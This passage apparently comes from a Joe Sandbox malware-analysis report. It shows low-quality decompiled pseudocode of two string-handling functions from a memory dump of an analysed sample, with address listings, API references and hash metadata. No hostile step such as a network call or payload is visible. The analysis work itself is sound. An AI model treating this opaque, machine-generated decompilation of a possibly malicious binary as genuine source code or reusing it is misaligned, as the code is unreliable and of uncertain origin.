						if(_t201 != E0040B240) {
							_t202 =  *_t201();
						} else {
							_t202 =  *((intOrPtr*)( *((intOrPtr*)(_t290 + 8)) + 0x34));
						}
						 *((intOrPtr*)(_t245 + 0x34)) = _t202;
						_t204 =  *((intOrPtr*)( *_t290 + 0x28));
						_t329 = _t204 - E0040B230;
						if(_t204 != E0040B230) {
							_t205 =  *_t204();
						} else {
							_t205 =  *((intOrPtr*)( *((intOrPtr*)(_t290 + 8)) + 0x38));
						}
						 *((intOrPtr*)(_t245 + 0x38)) = _t205;
						 *_t299 = _a4;
						_t207 = E00494F60(_t329);
						_t208 =  *0x4c5068; // 0x4cc360
						_t107 = _t245 + 0x3c; // 0x3c
						_v100 = _t107;
						_t109 = _t208 + 0xb; // 0x4cc36b
						 *_t299 = _t208;
						_v104 = _t109;
						 *((intOrPtr*)( *_t207 + 0x2c))();
						_t210 =  *0x4c3bd0; // 0x2
						_t266 = _v32;
						 *((char*)(_t245 + 0x52)) = 1;
						_t300 = _t299 - 0xc;
						if(_t210 != 0) {
							_t211 = 0xffffffff;
							asm("lock xadd [ecx-0x4], eax");
							__eflags = 0xffffffff;
							if(0xffffffff > 0) {
								goto L39;
							} else {
								goto L44;
							}
						} else {
							_t211 =  *(_t266 - 4);
							_t115 = _t211 - 1; // -1
							 *(_t266 - 4) = _t115;
							if(_t211 <= 0) {
								L44:
								__eflags = _t266 - 0xc;
								 *_t300 =  &_v33;
								return E00458FD0( &_v33, _t266 - 0xc);
							} else {
								L39:
								return _t211;
							}
						}
					} else {
						L7:
						_t163 =  *((intOrPtr*)( *_t290 + 0x18));
						if(_t163 != 0x40b3f0) {
							L47:
							_v96 = _t290;
							 *_t163();
							_t165 = _v32;
							_t296 = _t296 - 4;
						} else {
							L8:
							_t275 = 0xfffffffe;
							_t288 =  *( *((intOrPtr*)(_t290 + 8)) + 0x20);
							if(_t288 != 0) {
								_t275 = _t288 + wcslen(_t288) * 2;
							}
							_t165 = L0044F990(_t288, _t245,  &_v35, _t275, _t288, _t290, _t293);
							_v32 = _t165;
						}
					}
				}
				_t284 =  *((intOrPtr*)(_t165 - 0xc));
				_v68 = _t284;
				if(_t284 > 0x3ffffffe) {
					goto L63;
				}
				_t167 = L00497930(_t284 + _t284);
				_v56 = _t167;
				_v92 = 0;
				_v96 = _t284;
				_v100 = _t167;
				E004090E0(_t245,  &_v32);
				_t169 =  *0x4c3bd0; // 0x2
				_t254 = _v32;
				_t297 = _t296 - 0xc;
				if(_t169 != 0) {
					asm("lock xadd [ecx-0x4], eax");
					__eflags = 0xffffffff;
					if(0xffffffff > 0) {
						goto L14;
					} else {
						goto L41;
					}
					goto L25;
				} else {
					_t36 =  *((intOrPtr*)(_t254 - 4)) - 1; // -1
					_t275 = _t36;
					 *((intOrPtr*)(_t254 - 4)) = _t36;
					if( *((intOrPtr*)(_t254 - 4)) <= 0) {
						L41:
						_v100 =  &_v33;
						L0044FE50( &_v33, _t254 - 0xc);
						_t297 = _t297 - 4;
						_t172 =  *((intOrPtr*)( *_t290 + 0x1c));
						__eflags = _t172 - 0x40b3b0;
						if(_t172 == 0x40b3b0) {
							goto L15;
						} else {
							goto L42;
						}
						goto L25;
					} else {
						L14:
						_t172 =  *((intOrPtr*)( *_t290 + 0x1c));
						if(_t172 != 0x40b3b0) {
							L42:
							_v100 = _t290;
							 *_t172();
							_t174 = _v32;
							_t297 = _t297 - 4;
						} else {
							L15:
							_t275 = 0xfffffffe;
							_t287 =  *( *((intOrPtr*)(_t290 + 8)) + 0x28);
							if(_t287 != 0) {
								_t275 = _t287 + wcslen(_t287) * 2;
							}
							_t174 = L0044F990(_t287, _t245,  &_v34, _t275, _t287, _t290, _t293);
							_v32 = _t174;
						}
					}
				}
				_t284 =  *((intOrPtr*)(_t174 - 0xc));
				_v72 = _t284;
				if(_t284 > 0x3ffffffe) {
					_t246 = L00499D50(_t245);
					_v104 = _v56;
					L00497900();
					goto L59;
				}
				_t178 = L00497930(_t284 + _t284);
				_v60 = _t178;
				_v96 = 0;
				_v100 = _t284;
				_v104 = _t178;
				E004090E0(_t245,  &_v32);
				_t180 =  *0x4c3bd0; // 0x2
				_t257 = _v32;
				_t298 = _t297 - 0xc;
				if(_t180 != 0) {
					asm("lock xadd [ecx-0x4], eax");
					__eflags = 0xffffffff;
					if(0xffffffff > 0) {
						goto L21;
					} else {
						goto L49;
					}
				} else {
					_t54 =  *((intOrPtr*)(_t257 - 4)) - 1; // -1
					 *((intOrPtr*)(_t257 - 4)) = _t54;
					if( *((intOrPtr*)(_t257 - 4)) <= 0) {
						L49:
						_v104 =  &_v33;
						L0044FE50( &_v33, _t257 - 0xc);
						_t298 = _t298 - 4;
						_t183 =  *((intOrPtr*)( *_t290 + 0x10));
						__eflags = _t183 - E0040B1B0;
						if(_t183 == E0040B1B0) {
							goto L22;
						} else {
							goto L50;
						}
					} else {
						L21:
						_t183 =  *((intOrPtr*)( *_t290 + 0x10));
						if(_t183 != E0040B1B0) {
							L50:
							_v104 = _t290;
							 *_t183();
							_t185 = _v32;
							_t298 = _t298 - 4;
						} else {
							L22:
							_t282 = 0xffffffff;
							_t286 =  *( *((intOrPtr*)(_t290 + 8)) + 8);
							if(_t286 != 0) {
								_t282 =  &(_t286[strlen(_t286)]);
							}
							_t185 = E00458AF0(_t286, _t245,  &_v33, _t282, _t286, _t290, _t293);
							_v32 = _t185;
						}
					}
				}
				goto L25;
			}

0x0047c9e6
0x0047c9e8
0x0047c9ee
0x0047c9f1
0x0047c9f6
0x0047c9fa
0x0047ca02
0x0047ce40
0x0047ce46
0x0047ce48
0x0047ce4b
0x0047ca08
0x0047ca0b
0x0047ca10
0x0047ca15
0x0047ca1f
0x0047ca1f
0x0047ca27
0x0047ca2c
0x0047ca2c
0x0047ca2f
0x0047ca32
0x0047ca3b
0x0047cf40
0x0047cf51
0x0047cf57
0x0047cf5a
0x0047cf5f
0x0047cf64
0x0047cee6
0x0047cee6
0x0047cee6
0x0047cee9
0x0047ceec
0x0047cef1
0x0047cef1
0x0047cef4
0x0047cefc
0x0047ceff
0x0047cf04
0x0047cf07
0x0047cf0a
0x0047cf0f
0x0047cf13
0x00000000
0x00000000
0x0047cf15
0x0047cef1
0x0047cee6
0x0047ca47
0x0047ca4c
0x0047ca52
0x0047ca5a
0x0047ca5e
0x0047ca61
0x0047ca66
0x0047ca6b
0x0047ca6e
0x0047ca73
0x0047cda5
0x0047cdaa
0x0047cdac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047ca79
0x0047ca7c
0x0047ca7c
0x0047ca7f
0x0047ca84
0x0047cdb2
0x0047cdb8
0x0047cdbb
0x0047cdc2
0x0047cdc5
0x0047cdc8
0x0047cdcd
0x00000000
0x00000000
0x00000000
0x00000000
0x0047cbe5
0x0047cbe5
0x0047cbe8
0x0047cbeb
0x0047cbee
0x0047cbf3
0x0047cc01
0x0047cc03
0x0047cc06
0x0047cc0a
0x0047cc0f
0x0047cc12
0x0047cc15
0x0047cc18
0x0047cc1a
0x0047cc1f
0x0047cc29
0x0047cc29
0x0047cc2c
0x0047cc2e
0x0047cc31
0x0047cc39
0x0047ce9a
0x0047ce9c
0x0047cc3f
0x0047cc42
0x0047cc42
0x0047cc46
0x0047cc4a
0x0047cc52
0x0047ce8a
0x0047ce8c
0x0047cc58
0x0047cc5b
0x0047cc5b
0x0047cc5f
0x0047cc66
0x0047cc6c
0x0047cc72
0x0047cc78
0x0047cc7e
0x0047cc84
0x0047cc87
0x0047cc8f
0x0047ce7a
0x0047ce7c
0x0047cc95
0x0047cc98
0x0047cc98
0x0047cc9b
0x0047cc9e
0x0047cca6
0x0047ce6a
0x0047ccac
0x0047ccaf
0x0047ccaf
0x0047ccb2
0x0047ccb7
0x0047ccba
0x0047ccbf
0x0047ce5a
0x0047ccc5
0x0047ccc8
0x0047ccc8
0x0047cccb
0x0047ccd1
0x0047ccd4
0x0047ccdb
0x0047cce0
0x0047cce5
0x0047cce9
0x0047ccec
0x0047ccef
0x0047ccf3
0x0047ccf6
0x0047ccfb
0x0047ccfe
0x0047cd02
0x0047cd07
0x0047cd70
0x0047cd75
0x0047cd7a
0x0047cd7c
0x00000000
0x00000000
0x00000000
0x00000000
0x0047cd09
0x0047cd09
0x0047cd0c
0x0047cd0f
0x0047cd14
0x0047cd7e
0x0047cd81
0x0047cd84
0x0047cd96
0x0047cd16
0x0047cd16
0x0047cd1d
0x0047cd1d
0x0047cd14
0x0047ca8a
0x0047ca8a
0x0047ca8c
0x0047ca94
0x0047cdd3
0x0047cdd3
0x0047cdd9
0x0047cddb
0x0047cdde
0x0047ca9a
0x0047ca9a
0x0047ca9d
0x0047caa2
0x0047caa7
0x0047cab1
0x0047cab1
0x0047cab9
0x0047cabe
0x0047cabe
0x0047ca94
0x0047ca84
0x0047cac1
0x0047cac4
0x0047cacd
0x00000000
0x00000000
0x0047cad9
0x0047cade
0x0047cae4
0x0047caec
0x0047caf0
0x0047caf3
0x0047caf8
0x0047cafd
0x0047cb00
0x0047cb05
0x0047cd25
0x0047cd2a
0x0047cd2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047cb0b
0x0047cb0e
0x0047cb0e
0x0047cb11
0x0047cb16
0x0047cd32
0x0047cd38
0x0047cd3b
0x0047cd42
0x0047cd45
0x0047cd48
0x0047cd4d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047cb1c
0x0047cb1c
0x0047cb1e
0x0047cb26
0x0047cd53
0x0047cd53
0x0047cd59
0x0047cd5b
0x0047cd5e
0x0047cb2c
0x0047cb2c
0x0047cb2f
0x0047cb34
0x0047cb39
0x0047cb43
0x0047cb43
0x0047cb4b
0x0047cb50
0x0047cb50
0x0047cb26
0x0047cb16
0x0047cb53
0x0047cb56
0x0047cb5f
0x0047cebd
0x0047cede
0x0047cee1
0x00000000
0x0047cee1
0x0047cb6b
0x0047cb70
0x0047cb76
0x0047cb7e
0x0047cb82
0x0047cb85
0x0047cb8a
0x0047cb8f
0x0047cb92
0x0047cb97
0x0047cdf5
0x0047cdfa
0x0047cdfc
0x00000000
0x00000000
0x00000000
0x00000000
0x0047cb9d
0x0047cba0
0x0047cba3
0x0047cba8
0x0047ce02
0x0047ce08
0x0047ce0b
0x0047ce12
0x0047ce15
0x0047ce18
0x0047ce1d
0x00000000
0x00000000
0x00000000
0x00000000
0x0047cbae
0x0047cbae
0x0047cbb0
0x0047cbb8
0x0047ce23
0x0047ce23
0x0047ce29
0x0047ce2b
0x0047ce2e
0x0047cbbe
0x0047cbbe
0x0047cbc1
0x0047cbc6
0x0047cbcb
0x0047cbd5
0x0047cbd5
0x0047cbdd
0x0047cbe2
0x0047cbe2
0x0047cbb8
0x0047cba8
0x00000000

APIs

wcslen.MSVCRT ref: 0047CA1A
wcslen.MSVCRT ref: 0047CAAC
wcslen.MSVCRT ref: 0047CB3E
strlen.MSVCRT ref: 0047CBD0

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: wcslen$strlen
String ID:
API String ID: 1625065929-0
Opcode ID: 66cde6bf982b4342f40dd93571be49190dbbf539147b51e6634cd2fb719ac780
Instruction ID: d46523230ae589d8dd1201ac140e5cf9a5c9d2fa83980e63b29ec123def259cd
Opcode Fuzzy Hash: 66cde6bf982b4342f40dd93571be49190dbbf539147b51e6634cd2fb719ac780
Instruction Fuzzy Hash: 46F129B4A046058FCB14EF6CC0C49AEBBF1FF84314B11856EE8999B355D738E945CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0047D1C0 Relevance: 5.4, APIs: 4, Instructions: 369
stringCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0047D1C0(char __ecx, void* __eflags, char _a4) {
				void* _v16;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				signed char* _v48;
				char* _v52;
				char _v56;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t143;
				intOrPtr* _t145;
				char _t147;
				void* _t151;
				char _t158;
				intOrPtr _t160;
				intOrPtr* _t163;
				char _t165;
				char _t167;
				intOrPtr _t169;
				intOrPtr* _t172;
				char _t174;
				char _t178;
				intOrPtr _t180;
				intOrPtr* _t183;
				intOrPtr _t185;
				signed char* _t186;
				signed int _t188;
				intOrPtr* _t189;
				signed int _t190;
				intOrPtr* _t191;
				signed int _t192;
				intOrPtr* _t199;
				intOrPtr _t200;
				intOrPtr* _t201;
				intOrPtr _t202;
				intOrPtr* _t204;
				intOrPtr _t205;
				intOrPtr* _t207;
				intOrPtr _t208;
				intOrPtr _t210;
				char* _t211;
				char _t245;
				char _t246;
				char _t251;
				char _t254;
				intOrPtr _t257;
				char _t266;
				signed char* _t276;
				signed char* _t278;
				void* _t279;
				char* _t282;
				intOrPtr _t284;
				signed char* _t285;
				char* _t286;
				wchar_t* _t287;
				wchar_t* _t288;
				wchar_t* _t289;
				char _t290;
				void* _t293;
				void* _t294;
				void* _t295;
				void* _t296;
				void* _t297;
				signed char** _t298;
				intOrPtr* _t299;
				intOrPtr* _t300;

				_t245 = __ecx;
				_t295 = _t294 - 0x4c;
				_v92 = _a4;
				_t143 = E00494DE0(__eflags);
				_t290 = _t143;
				_t145 =  *((intOrPtr*)( *_t143 + 0x14));
				if(_t145 != 0x40b700) {
					_v92 = _t290;
					 *_t145();
					_t147 = _v32;
					_t295 = _t295 - 4;
				} else {
					_t275 = 0xfffffffe;
					_t289 =  *( *((intOrPtr*)(_t290 + 8)) + 0x18);
					if(_t289 != 0) {
						_t275 = _t289 + wcslen(_t289) * 2;
					}
					_t147 = L0044F990(_t289, _t245,  &_v33, _t275, _t289, _t290, _t293);
					_v32 = _t147;
				}
				_t284 =  *((intOrPtr*)(_t147 - 0xc));
				_v64 = _t284;
				if(_t284 > 0x3ffffffe) {
					L00499D50(_t245);
					_t151 = L0044FE70(_v32 - 0xc,  &_v33);
					_v100 = _t245;
					E003F8C90(_t151, _t245, _t275, _t284, _t290);
					L63:
					_t246 = L00499D50(_t245);
					while(1) {
						L59:
						_t154 = _v52;
						_v96 = _v52;
						L00497900();
						while(1) {
							_v96 = _t246;
							E003F8C90(_t154, _t246, _t275, _t284, _t290);
							_v96 = _v60;
							L00497900();
							_t154 = _v56;
							_v96 = _v56;
							L00497900();
							__eflags = _v52;
							if(_v52 != 0) {
								goto L59;
							}
						}
					}
				}
				_t158 = L00497930(_t284 + _t284);
				_v52 = _t158;
				_v88 = 0;
				_v92 = _t284;
				_v96 = _t158;
				E004090E0(_t245,  &_v32);
				_t160 =  *0x4c3bd0; // 0x2
				_t251 = _v32;
				_t296 = _t295 - 0xc;
				if(_t160 != 0) {
					asm("lock xadd [ecx-0x4], eax");
					__eflags = 0xffffffff;
					if(0xffffffff > 0) {
						goto L7;
					} else {
						goto L46;
					}
					goto L25;
				} else {
					_t18 =  *((intOrPtr*)(_t251 - 4)) - 1; // -1
					_t275 = _t18;
					 *((intOrPtr*)(_t251 - 4)) = _t18;
					if( *((intOrPtr*)(_t251 - 4)) <= 0) {
						L46:
						_v96 =  &_v33;
						L0044FE50( &_v33, _t251 - 0xc);
						_t296 = _t296 - 4;
						_t163 =  *((intOrPtr*)( *_t290 + 0x18));
						__eflags = _t163 - 0x40b7a0;
						if(_t163 == 0x40b7a0) {
							goto L8;
						} else {
							goto L47;
						}
						L25:
						_t276 =  *(_t185 - 0xc);
						_v48 = _t276;
						 *_t298 = _t276;
						_t186 = L00497930();
						_v100 = 0;
						_t285 = _t186;
						 *_t298 = _t186;
						_v104 = _v48;
						E0040A140(_t245,  &_v32);
						_t278 = _v48;
						 *(_t245 + 8) = _t285;
						_t299 = _t298 - 0xc;
						_t188 = 0;
						 *(_t245 + 0xc) = _t278;
						if(_t278 != 0) {
							_t188 = ( *_t285 & 0x000000ff) - 0x00000001 & 0xffffff00 | ( *_t285 & 0x000000ff) - 0x00000001 - 0x0000007d < 0x00000000;
						}
						_t279 =  *_t290;
						 *(_t245 + 0x10) = _t188;
						_t189 =  *((intOrPtr*)(_t279 + 8));
						if(_t189 != 0x40b750) {
							_t190 =  *_t189();
							_t279 =  *_t290;
						} else {
							_t190 =  *( *((intOrPtr*)(_t290 + 8)) + 0x12) & 0x0000ffff;
						}
						 *(_t245 + 0x12) = _t190;
						_t191 =  *((intOrPtr*)(_t279 + 0xc));
						if(_t191 != 0x40b7e0) {
							_t192 =  *_t191();
							_t279 =  *_t290;
						} else {
							_t192 =  *( *((intOrPtr*)(_t290 + 8)) + 0x14) & 0x0000ffff;
						}
						 *(_t245 + 0x14) = _t192;
						 *(_t245 + 0x18) = _v52;
						 *((intOrPtr*)(_t245 + 0x1c)) = _v64;
						 *((intOrPtr*)(_t245 + 0x20)) = _v56;
						 *((intOrPtr*)(_t245 + 0x24)) = _v68;
						 *((intOrPtr*)(_t245 + 0x28)) = _v60;
						 *((intOrPtr*)(_t245 + 0x2c)) = _v72;
						_t199 =  *((intOrPtr*)(_t279 + 0x20));
						if(_t199 != 0x40b740) {
							_t200 =  *_t199();
							_t279 =  *_t290;
						} else {
							_t200 =  *((intOrPtr*)( *((intOrPtr*)(_t290 + 8)) + 0x30));
						}
						 *((intOrPtr*)(_t245 + 0x30)) = _t200;
						_t201 =  *((intOrPtr*)(_t279 + 0x24));
						if(_t201 != 0x40b5f0) {
							_t202 =  *_t201();
						} else {
							_t202 =  *((intOrPtr*)( *((intOrPtr*)(_t290 + 8)) + 0x34));
						}
						 *((intOrPtr*)(_t245 + 0x34)) = _t202;
						_t204 =  *((intOrPtr*)( *_t290 + 0x28));
						_t329 = _t204 - 0x40b5e0;
						if(_t204 != 0x40b5e0) {
							_t205 =  *_t204();
						} else {
							_t205 =  *((intOrPtr*)( *((intOrPtr*)(_t290 + 8)) + 0x38));
						}
						 *((intOrPtr*)(_t245 + 0x38)) = _t205;
						 *_t299 = _a4;
						_t207 = E00494F60(_t329);
						_t208 =  *0x4c5068; // 0x4cc360
						_t107 = _t245 + 0x3c; // 0x3c
						_v100 = _t107;
						_t109 = _t208 + 0xb; // 0x4cc36b
						 *_t299 = _t208;
						_v104 = _t109;
						 *((intOrPtr*)( *_t207 + 0x2c))();
						_t210 =  *0x4c3bd0; // 0x2
						_t266 = _v32;
						 *((char*)(_t245 + 0x52)) = 1;
						_t300 = _t299 - 0xc;
						if(_t210 != 0) {
							_t211 = 0xffffffff;
							asm("lock xadd [ecx-0x4], eax");
							__eflags = 0xffffffff;
							if(0xffffffff > 0) {
								goto L39;
							} else {
								goto L44;
							}
						} else {
							_t211 =  *(_t266 - 4);
							_t115 = _t211 - 1; // -1
							 *(_t266 - 4) = _t115;
							if(_t211 <= 0) {
								L44:
								__eflags = _t266 - 0xc;
								 *_t300 =  &_v33;
								return E00458FD0( &_v33, _t266 - 0xc);
							} else {
								L39:
								return _t211;
							}
						}
					} else {
						L7:
						_t163 =  *((intOrPtr*)( *_t290 + 0x18));
						if(_t163 != 0x40b7a0) {
							L47:
							_v96 = _t290;
							 *_t163();
							_t165 = _v32;
							_t296 = _t296 - 4;
						} else {
							L8:
							_t275 = 0xfffffffe;
							_t288 =  *( *((intOrPtr*)(_t290 + 8)) + 0x20);
							if(_t288 != 0) {
								_t275 = _t288 + wcslen(_t288) * 2;
							}
							_t165 = L0044F990(_t288, _t245,  &_v35, _t275, _t288, _t290, _t293);
							_v32 = _t165;
						}
					}
				}
				_t284 =  *((intOrPtr*)(_t165 - 0xc));
				_v68 = _t284;
				if(_t284 > 0x3ffffffe) {
					goto L63;
				}
				_t167 = L00497930(_t284 + _t284);
				_v56 = _t167;
				_v92 = 0;
				_v96 = _t284;
				_v100 = _t167;
				E004090E0(_t245,  &_v32);
				_t169 =  *0x4c3bd0; // 0x2
				_t254 = _v32;
				_t297 = _t296 - 0xc;
				if(_t169 != 0) {
					asm("lock xadd [ecx-0x4], eax");
					__eflags = 0xffffffff;
					if(0xffffffff > 0) {
						goto L14;
					} else {
						goto L41;
					}
					goto L25;
				} else {
					_t36 =  *((intOrPtr*)(_t254 - 4)) - 1; // -1
					_t275 = _t36;
					 *((intOrPtr*)(_t254 - 4)) = _t36;
					if( *((intOrPtr*)(_t254 - 4)) <= 0) {
						L41:
						_v100 =  &_v33;
						L0044FE50( &_v33, _t254 - 0xc);
						_t297 = _t297 - 4;
						_t172 =  *((intOrPtr*)( *_t290 + 0x1c));
						__eflags = _t172 - 0x40b760;
						if(_t172 == 0x40b760) {
							goto L15;
						} else {
							goto L42;
						}
						goto L25;
					} else {
						L14:
						_t172 =  *((intOrPtr*)( *_t290 + 0x1c));
						if(_t172 != 0x40b760) {
							L42:
							_v100 = _t290;
							 *_t172();
							_t174 = _v32;
							_t297 = _t297 - 4;
						} else {
							L15:
							_t275 = 0xfffffffe;
							_t287 =  *( *((intOrPtr*)(_t290 + 8)) + 0x28);
							if(_t287 != 0) {
								_t275 = _t287 + wcslen(_t287) * 2;
							}
							_t174 = L0044F990(_t287, _t245,  &_v34, _t275, _t287, _t290, _t293);
							_v32 = _t174;
						}
					}
				}
				_t284 =  *((intOrPtr*)(_t174 - 0xc));
				_v72 = _t284;
				if(_t284 > 0x3ffffffe) {
					_t246 = L00499D50(_t245);
					_v104 = _v56;
					L00497900();
					goto L59;
				}
				_t178 = L00497930(_t284 + _t284);
				_v60 = _t178;
				_v96 = 0;
				_v100 = _t284;
				_v104 = _t178;
				E004090E0(_t245,  &_v32);
				_t180 =  *0x4c3bd0; // 0x2
				_t257 = _v32;
				_t298 = _t297 - 0xc;
				if(_t180 != 0) {
					asm("lock xadd [ecx-0x4], eax");
					__eflags = 0xffffffff;
					if(0xffffffff > 0) {
						goto L21;
					} else {
						goto L49;
					}
				} else {
					_t54 =  *((intOrPtr*)(_t257 - 4)) - 1; // -1
					 *((intOrPtr*)(_t257 - 4)) = _t54;
					if( *((intOrPtr*)(_t257 - 4)) <= 0) {
						L49:
						_v104 =  &_v33;
						L0044FE50( &_v33, _t257 - 0xc);
						_t298 = _t298 - 4;
						_t183 =  *((intOrPtr*)( *_t290 + 0x10));
						__eflags = _t183 - 0x40b560;
						if(_t183 == 0x40b560) {
							goto L22;
						} else {
							goto L50;
						}
					} else {
						L21:
						_t183 =  *((intOrPtr*)( *_t290 + 0x10));
						if(_t183 != 0x40b560) {
							L50:
							_v104 = _t290;
							 *_t183();
							_t185 = _v32;
							_t298 = _t298 - 4;
						} else {
							L22:
							_t282 = 0xffffffff;
							_t286 =  *( *((intOrPtr*)(_t290 + 8)) + 8);
							if(_t286 != 0) {
								_t282 =  &(_t286[strlen(_t286)]);
							}
							_t185 = E00458AF0(_t286, _t245,  &_v33, _t282, _t286, _t290, _t293);
							_v32 = _t185;
						}
					}
				}
				goto L25;
			}

0x0047d1c6
0x0047d1c8
0x0047d1ce
0x0047d1d1
0x0047d1d6
0x0047d1da
0x0047d1e2
0x0047d620
0x0047d626
0x0047d628
0x0047d62b
0x0047d1e8
0x0047d1eb
0x0047d1f0
0x0047d1f5
0x0047d1ff
0x0047d1ff
0x0047d207
0x0047d20c
0x0047d20c
0x0047d20f
0x0047d212
0x0047d21b
0x0047d720
0x0047d731
0x0047d737
0x0047d73a
0x0047d73f
0x0047d744
0x0047d6c6
0x0047d6c6
0x0047d6c6
0x0047d6c9
0x0047d6cc
0x0047d6d1
0x0047d6d1
0x0047d6d4
0x0047d6dc
0x0047d6df
0x0047d6e4
0x0047d6e7
0x0047d6ea
0x0047d6ef
0x0047d6f3
0x00000000
0x00000000
0x0047d6f5
0x0047d6d1
0x0047d6c6
0x0047d227
0x0047d22c
0x0047d232
0x0047d23a
0x0047d23e
0x0047d241
0x0047d246
0x0047d24b
0x0047d24e
0x0047d253
0x0047d585
0x0047d58a
0x0047d58c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047d259
0x0047d25c
0x0047d25c
0x0047d25f
0x0047d264
0x0047d592
0x0047d598
0x0047d59b
0x0047d5a2
0x0047d5a5
0x0047d5a8
0x0047d5ad
0x00000000
0x00000000
0x00000000
0x00000000
0x0047d3c5
0x0047d3c5
0x0047d3c8
0x0047d3cb
0x0047d3ce
0x0047d3d3
0x0047d3e1
0x0047d3e3
0x0047d3e6
0x0047d3ea
0x0047d3ef
0x0047d3f2
0x0047d3f5
0x0047d3f8
0x0047d3fa
0x0047d3ff
0x0047d409
0x0047d409
0x0047d40c
0x0047d40e
0x0047d411
0x0047d419
0x0047d67a
0x0047d67c
0x0047d41f
0x0047d422
0x0047d422
0x0047d426
0x0047d42a
0x0047d432
0x0047d66a
0x0047d66c
0x0047d438
0x0047d43b
0x0047d43b
0x0047d43f
0x0047d446
0x0047d44c
0x0047d452
0x0047d458
0x0047d45e
0x0047d464
0x0047d467
0x0047d46f
0x0047d65a
0x0047d65c
0x0047d475
0x0047d478
0x0047d478
0x0047d47b
0x0047d47e
0x0047d486
0x0047d64a
0x0047d48c
0x0047d48f
0x0047d48f
0x0047d492
0x0047d497
0x0047d49a
0x0047d49f
0x0047d63a
0x0047d4a5
0x0047d4a8
0x0047d4a8
0x0047d4ab
0x0047d4b1
0x0047d4b4
0x0047d4bb
0x0047d4c0
0x0047d4c5
0x0047d4c9
0x0047d4cc
0x0047d4cf
0x0047d4d3
0x0047d4d6
0x0047d4db
0x0047d4de
0x0047d4e2
0x0047d4e7
0x0047d550
0x0047d555
0x0047d55a
0x0047d55c
0x00000000
0x00000000
0x00000000
0x00000000
0x0047d4e9
0x0047d4e9
0x0047d4ec
0x0047d4ef
0x0047d4f4
0x0047d55e
0x0047d561
0x0047d564
0x0047d576
0x0047d4f6
0x0047d4f6
0x0047d4fd
0x0047d4fd
0x0047d4f4
0x0047d26a
0x0047d26a
0x0047d26c
0x0047d274
0x0047d5b3
0x0047d5b3
0x0047d5b9
0x0047d5bb
0x0047d5be
0x0047d27a
0x0047d27a
0x0047d27d
0x0047d282
0x0047d287
0x0047d291
0x0047d291
0x0047d299
0x0047d29e
0x0047d29e
0x0047d274
0x0047d264
0x0047d2a1
0x0047d2a4
0x0047d2ad
0x00000000
0x00000000
0x0047d2b9
0x0047d2be
0x0047d2c4
0x0047d2cc
0x0047d2d0
0x0047d2d3
0x0047d2d8
0x0047d2dd
0x0047d2e0
0x0047d2e5
0x0047d505
0x0047d50a
0x0047d50c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047d2eb
0x0047d2ee
0x0047d2ee
0x0047d2f1
0x0047d2f6
0x0047d512
0x0047d518
0x0047d51b
0x0047d522
0x0047d525
0x0047d528
0x0047d52d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0047d2fc
0x0047d2fc
0x0047d2fe
0x0047d306
0x0047d533
0x0047d533
0x0047d539
0x0047d53b
0x0047d53e
0x0047d30c
0x0047d30c
0x0047d30f
0x0047d314
0x0047d319
0x0047d323
0x0047d323
0x0047d32b
0x0047d330
0x0047d330
0x0047d306
0x0047d2f6
0x0047d333
0x0047d336
0x0047d33f
0x0047d69d
0x0047d6be
0x0047d6c1
0x00000000
0x0047d6c1
0x0047d34b
0x0047d350
0x0047d356
0x0047d35e
0x0047d362
0x0047d365
0x0047d36a
0x0047d36f
0x0047d372
0x0047d377
0x0047d5d5
0x0047d5da
0x0047d5dc
0x00000000
0x00000000
0x00000000
0x00000000
0x0047d37d
0x0047d380
0x0047d383
0x0047d388
0x0047d5e2
0x0047d5e8
0x0047d5eb
0x0047d5f2
0x0047d5f5
0x0047d5f8
0x0047d5fd
0x00000000
0x00000000
0x00000000
0x00000000
0x0047d38e
0x0047d38e
0x0047d390
0x0047d398
0x0047d603
0x0047d603
0x0047d609
0x0047d60b
0x0047d60e
0x0047d39e
0x0047d39e
0x0047d3a1
0x0047d3a6
0x0047d3ab
0x0047d3b5
0x0047d3b5
0x0047d3bd
0x0047d3c2
0x0047d3c2
0x0047d398
0x0047d388
0x00000000

APIs

wcslen.MSVCRT ref: 0047D1FA
wcslen.MSVCRT ref: 0047D28C
wcslen.MSVCRT ref: 0047D31E
strlen.MSVCRT ref: 0047D3B0

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
